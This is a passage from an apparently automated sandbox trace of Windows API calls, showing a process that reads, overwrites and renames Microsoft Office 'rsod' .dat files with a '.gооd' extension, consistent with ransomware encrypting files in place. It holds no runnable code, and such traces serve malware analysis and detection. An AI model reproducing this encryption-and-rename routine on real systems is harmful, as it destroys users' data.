Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0163.149] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0163.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0163.149] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x333b798 | out: lpFileInformation=0x333b798*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf87b4f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf87b4f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcfc813cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x21cc)) returned 1 [0163.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0163.150] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0163.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0163.150] GetFileType (hFile=0x7dc) returned 0x1 [0163.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.150] GetFileType (hFile=0x7dc) returned 0x1 [0163.150] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0163.150] ReadFile (in: hFile=0x7dc, lpBuffer=0x333bc50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x333bc50*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0163.152] CloseHandle (hObject=0x7dc) returned 1 [0163.152] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0163.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0163.152] GetFileType (hFile=0x7dc) returned 0x1 [0163.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.152] GetFileType (hFile=0x7dc) returned 0x1 [0163.152] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x21cc [0163.152] WriteFile (in: hFile=0x7dc, lpBuffer=0x333cf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x333cf90*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0163.153] CloseHandle (hObject=0x7dc) returned 1 [0163.153] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0163.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0163.153] GetFileType (hFile=0x7dc) returned 0x1 [0163.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.154] GetFileType (hFile=0x7dc) returned 0x1 [0163.154] ReadFile (in: hFile=0x7dc, lpBuffer=0x333f2b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x333f2b8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0163.181] CloseHandle (hObject=0x7dc) returned 1 [0163.181] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0163.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0163.181] GetFileType (hFile=0x7dc) returned 0x1 [0163.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.181] GetFileType (hFile=0x7dc) returned 0x1 [0163.181] WriteFile (in: hFile=0x7dc, lpBuffer=0x333dfd8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x333dfd8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0163.181] CloseHandle (hObject=0x7dc) returned 1 [0163.192] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0163.192] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x54 [0163.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0163.192] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf87b4f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf87b4f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5d7ac778, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x21dc)) returned 1 [0163.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0163.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0163.194] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0163.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0163.194] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x33bc7c0 | out: lpFileInformation=0x33bc7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fa9)) returned 1 [0163.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0163.398] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0163.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.398] GetFileType (hFile=0x644) returned 0x1 [0163.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.398] GetFileType (hFile=0x644) returned 0x1 [0163.398] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0163.398] ReadFile (in: hFile=0x644, lpBuffer=0x340a320, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x340a320*, lpNumberOfBytesRead=0x1fcee2d8*=0xfa9, lpOverlapped=0x0) returned 1 [0163.400] CloseHandle (hObject=0x644) returned 1 [0163.400] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0163.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.401] GetFileType (hFile=0x644) returned 0x1 [0163.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.401] GetFileType (hFile=0x644) returned 0x1 [0163.401] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1fa9 [0163.401] WriteFile (in: hFile=0x644, lpBuffer=0x340f4d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x340f4d0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0163.401] CloseHandle (hObject=0x644) returned 1 [0163.401] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0163.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.401] GetFileType (hFile=0x644) returned 0x1 [0163.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.401] GetFileType (hFile=0x644) returned 0x1 [0163.401] ReadFile (in: hFile=0x644, lpBuffer=0x34117c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x34117c8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0163.430] CloseHandle (hObject=0x644) returned 1 [0163.430] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0163.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.430] GetFileType (hFile=0x644) returned 0x1 [0163.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.430] GetFileType (hFile=0x644) returned 0x1 [0163.430] WriteFile (in: hFile=0x644, lpBuffer=0x34104e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x34104e8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0163.431] CloseHandle (hObject=0x644) returned 1 [0163.431] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0163.431] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x54 [0163.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0163.431] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5da0ebc4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1fb9)) returned 1 [0163.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0163.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0163.432] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0163.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0163.432] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3490320 | out: lpFileInformation=0x3490320*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd06c975a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd06c975a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd08df8b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x263d)) returned 1 [0163.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0163.432] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0163.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.433] GetFileType (hFile=0x644) returned 0x1 [0163.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.433] GetFileType (hFile=0x644) returned 0x1 [0163.433] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0163.433] ReadFile (in: hFile=0x644, lpBuffer=0x3490788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3490788*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0163.508] CloseHandle (hObject=0x644) returned 1 [0163.508] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0163.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.508] GetFileType (hFile=0x644) returned 0x1 [0163.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.508] GetFileType (hFile=0x644) returned 0x1 [0163.508] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x263d [0163.508] WriteFile (in: hFile=0x644, lpBuffer=0x33659e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x33659e8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0163.515] CloseHandle (hObject=0x644) returned 1 [0163.515] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0163.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.515] GetFileType (hFile=0x644) returned 0x1 [0163.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.515] GetFileType (hFile=0x644) returned 0x1 [0163.516] ReadFile (in: hFile=0x644, lpBuffer=0x33955b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x33955b0*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0163.545] CloseHandle (hObject=0x644) returned 1 [0163.545] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0163.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.545] GetFileType (hFile=0x644) returned 0x1 [0163.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.545] GetFileType (hFile=0x644) returned 0x1 [0163.545] WriteFile (in: hFile=0x644, lpBuffer=0x33942e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x33942e0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0163.545] CloseHandle (hObject=0x644) returned 1 [0163.545] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0163.545] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x4f [0163.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0163.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd06c975a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd06c975a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5db19b13, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x264d)) returned 1 [0163.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0163.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat" (normalized: 